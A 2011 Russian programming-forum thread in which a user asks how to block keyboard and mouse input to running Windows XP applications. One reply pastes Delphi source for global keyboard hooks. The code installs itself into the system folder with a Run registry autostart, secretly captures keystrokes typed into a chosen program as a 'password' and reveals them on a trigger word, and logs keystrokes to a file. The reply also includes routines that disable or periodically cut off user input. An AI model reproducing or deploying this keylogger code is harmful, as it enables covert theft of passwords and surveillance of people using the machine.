Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

Блокировка клавы и мыши для активных приложений

36K
04 сентября 2011 года
Pcrepair
64 / / 16.01.2011
Добрый день!
Есть следующая ситуация:
- запущена ОС Win XP
- запущено несколько приложений (браузер, текстовый редактор, любые другие приложения)
- запускается Программа
Вопросы:
1. как сделать так чтобы данные из клавы и мыши не поступали в запущенные активные приложения (браузер, текстовый редактор и прочие), но поступали в Программу (когда она в фокусе конечно) и в ОС (можно было выбирать запущенные приложения мышкой или сочетанием клавиш)
2. какие методы использовать? глобальный хук что еще?
3. или может возможно только заблокировать перенос фокуса на другие активные приложения?
если есть код хорошо было бы посмотреть
Спасибо за внимание
14
04 сентября 2011 года
Phodopus
3.3K / / 19.06.2008
Непонятно зачем это нужно, и что значит "в ОС"?
36K
05 сентября 2011 года
Pcrepair
64 / / 16.01.2011
Уточнение к вопросу
есть ОС WIN xp, есть пользовательское ПО, например Утилита "Сетевое окружение" и браузер Мозилла
Задача - разработать алгоритмы и отдельные процедуры и функции Управляющей Программы (УП), которая будет управлять выше перечисленными программами, через доступ к ним по WIN32 API. некоторые, в том числе и на этом форуме, утверждают что это возможно. есть и аналоги подобных программ, но слишком простые в смысле построения сложных логических цепей управления.
Прям сейчас нужно проверить возможность отсечения пользовательского ПО от введения в него данных из клавы и мыши, данные будут вводится из УП, как именно - пока в разработке. Тоесть программа, к примеру Мозилла - активна, в фокусе, но получать данные от клавы и мыши не должна, данные идут из УП
Вот есть функция
 
Код:
BOOL EnableWindow
(
  HWND hWnd,    // дескриптор окна
  BOOL bEnable  // флажок для включения или отключения ввода информации
);

если вычислить дескриптор мазиллы в текущей сессии и отменить с помощью данной функции ввод данных, Мазилла вообще не сможет получать данные, в том числе и от УП, или только от мышы-клавы? и если так, то каким еще способом можно отрезать мазиллу от ввода данных из мыши-клавы но не от УП

вот в чем текущий вопрос
14
05 сентября 2011 года
Phodopus
3.3K / / 19.06.2008
после EnableWindow(FALSE) получать события клавы/мыши от УП в общем случае будет, но их верная обработка не гарантирована.
Посмотрите конечно на журнальный хук, может поможет. А так пока простых способов это сделать не приходит в голову.
19K
07 сентября 2011 года
Alegun
269 / / 10.09.2010
Наверное проще при потере фокуса УП блокировать клаву, а затем её снова включать,(правда обойти это действо всё же возможно:() или если нужен перехват,то вот нарезка из Drkb:
Как отловить нажатия клавиш для всех процессов в системе?
Цитата:
Setup.bat
@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg


Рег-Файл(запускается из бата):

Цитата:
HookAgnt.reg
REGEDIT4[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"


Собсно,сам проджект:

Цитата:
KbdHook.dpr
program cwbhook;
uses
Windows,Dialogs;
var
hinstDLL:HINST;
hkprcKeyboard:TFNHookProc;
msg:TMsg;
begin
hinstDLL:=LoadLibrary('HookAgnt.dll');
hkprcKeyboard:=GetProcAddress(hinstDLL,'KeyboardProc');
SetWindowsHookEx(WH_KEYBOARD,hkprcKeyboard,hinstDLL,0);
repeat
until
not GetMessage(msg,0,0,0);
end.


Библиотека с хуками:

Цитата:
HookAgnt.dpr
library HookAgent;
uses
Windows,KeyboardHook in 'KeyboardHook.pas';
exports KeyboardProc;
var
hFileMappingObject:THandle;
fInit: Boolean;
procedure DLLMain(Reason: Integer);
begin
if Reason=DLL_PROCESS_DETACH then
begin
UnmapViewOfFile(lpvMem);
CloseHandle(hFileMappingObject);
end;
end;
begin
DLLProc:=@DLLMain;
hFileMappingObject:=
CreateFileMapping(THandle($FFFFFFFF),nil,PAGE_READWRITE,0,4096,'HookAgentShareMem');
if hFileMappingObject=INVALID_HANDLE_VALUE then
begin
ExitCode:=1;
Exit;
end;
fInit:=GetLastError()<>ERROR_ALREADY_EXISTS;
lpvMem:=MapViewOfFile(hFileMappingObject,FILE_MAP_WRITE,0,0,0);
if lpvMem = nil then
begin
CloseHandle(hFileMappingObject);
ExitCode:=1; Exit;
end;
if fInit then FillChar(lpvMem,PASSWORDSIZE,#0);
end.


Сами хуки:

Цитата:
KeyboardHook.pas
unit KeyboardHook;
interface
uses Windows;
const PASSWORDSIZE=16;
var
g_hhk:HHOOK;
g_szKeyword:array[0..PASSWORDSIZE-1] of char;
lpvMem:Pointer;
function KeyboardProc(nCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
implementation
uses
SysUtils,Dialogs;
function KeyboardProc(nCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;
var
szModuleFileName:array[0..MAX_PATH-1]of Char;
szKeyName:array[0..16]of Char;
lpszPassword:PChar;
begin
lpszPassword:=PChar(lpvMem);
if (nCode=HC_ACTION)and(((lParam shr 16)and KF_UP)=0)then
begin
GetKeyNameText(lParam,szKeyName,sizeof(szKeyName));
if StrLen(g_szKeyword)+StrLen(szKeyName)>=PASSWORDSIZE then
lstrcpy(g_szKeyword,g_szKeyword+StrLen(szKeyName));
lstrcat(g_szKeyword,szKeyName);
GetModuleFileName(0,szModuleFileName,sizeof(szModuleFileName));
if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_АДО__')<>nil)and
(strlen(lpszPassword)+strlen(szKeyName)<PASSWORDSIZE)then
lstrcat(lpszPassword,szKeyName);
if StrPos(StrUpper(g_szKeyword),'GOLDENEYE')<>nil then
begin
ShowMessage(lpszPassword);
g_szKeyword[0]:=#0;
end;
Result:=0;
end else Result:=CallNextHookEx(g_hhk,nCode,wParam,lParam);
end;
end.


©Drkb::01526

Вот ещё вариант постановки хука на клаву(способ вызова такой же):

Цитата:
library Hook;
uses Windows,SysUtils;
const KF_UP_MY=$40000000;
var CurrentHook:HHook;
KeyArray:array[0..19] of char;
KeyArrayPtr:integer;
CurFile:text;
function GlobalKeyBoardHook(code:integer;wParam:integer;lParam:integer):longword;stdcall;
var
i:integer;
begin
if code<0 then begin
result:=CallNextHookEx(CurrentHook,code,wParam,lparam);
Exit;
end;
if ((lParam and KF_UP_MY)=0)and(wParam>=65)and(wParam<=90)then
begin
KeyArray[KeyArrayPtr]:=char(wParam);
KeyArrayPtr:=KeyArrayPtr+1;
if KeyArrayPtr>19 then
begin
for i:=0 to 19 do
begin
Assignfile(CurFile,'d:\log.txt');
if fileexists('d:\log.txt')=false then rewrite(CurFile)
else Append(CurFile);
write(Curfile, KeyArray);
closefile(curfile);
end;
KeyArrayPtr:=0;
end;
end;
CallNextHookEx(CurrentHook,code,wParam,lparam);
result:=0;
end;
// Постановка
procedure SetupGlobalKeyBoardHook;
begin
CurrentHook:=SetWindowsHookEx(WH_KEYBOARD,@GlobalKeyBoardHook,HInstance,0);
KeyArrayptr:=0;
end;
//Снятие
procedure unhook;
begin
UnhookWindowshookEx(CurrentHook);
end;
exports
SetupGlobalKeyBoardHook,UnHook;
begin
end.


©Drkb::01527
Взято с http://delphiworld.narod.ru

Включение и выключение клавиатуры:

Цитата:
// используемые переменные
var
Dummy:integer=0;
OldKbHook:HHook=0;
implementation
function KbHook(code:Integer;wparam:Word;lparam:LongInt):LongInt;stdcall;
begin
if code<0 then Result:=CallNextHookEx(oldKbHook,code,wparam,lparam) else Result:=1;
end;
// включение клавы
procedure KeyBoardOn(Sender: TObject);
begin
if OldKbHook<>0 then
begin
UnHookWindowshookEx(OldKbHook);
OldKbHook:=0;
end;
SystemParametersInfo(SPI_SETFASTTASKSWITCH,0,0,0);
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0);
end;
// выключение клавы
procedure KeyBoardOff(Sender:TObject);
begin
SystemParametersInfo(SPI_SETFASTTASKSWITCH,1,@Dummy,0);
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,@Dummy,0);
OldKbHook := SetWindowsHookEx(WH_KEYBOARD,@KbHook,HInstance,0);
end;


Некоторые замечания по поводу этих процедур:Если программу упаковать UPX-ом - клава не будет отключаться(причин не знаю).Под досом клава работать будет(FAR,VC и т.п.):(
Состояния клавиш NumLock,CapsLock,ScrollLock не отслеживаются и могут быть изменены.
Возможно EnableHardwareKeyboard более эффективен и прост.Если вместо WH_KEYBOARD поставить WH_MOUSE,то можно выключать таким образом мышь:-)
©Drkb::01532

Цитата:
program antiklava;
uses Windows;
var
klava:boolean;
begin
{устанавливаем значение переменной}klava:=true;
{начинаем бесконечный цикл}while true do
begin
{делаем так,чтобы всё не подвисло:)}Yield;
{ничего не делаем 2 минуты}Sleep(2*60*1000);
{присваиваем переменной противоположное значение}klava:=not klava;
{и в зависимости от переменной,отключаем или включаем клаву с мышкой}EnableHardwareInput(klava);
end;
end.


©Drkb::01533
А вот недокументированная функция из User32.dll,которая блокирует ввод(мышь,клавиатуру кроме Ctrl+Alt+Del):-(:

Цитата:
procedure BlockInput;external'user32.dll';


Цитата:
winexec(Pchar('rundll32 keyboard,disable'),sw_Show);// Клава OFF
winexec(Pchar('rundll32 mouse,disable'),sw_Show);//Маус OFF

Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог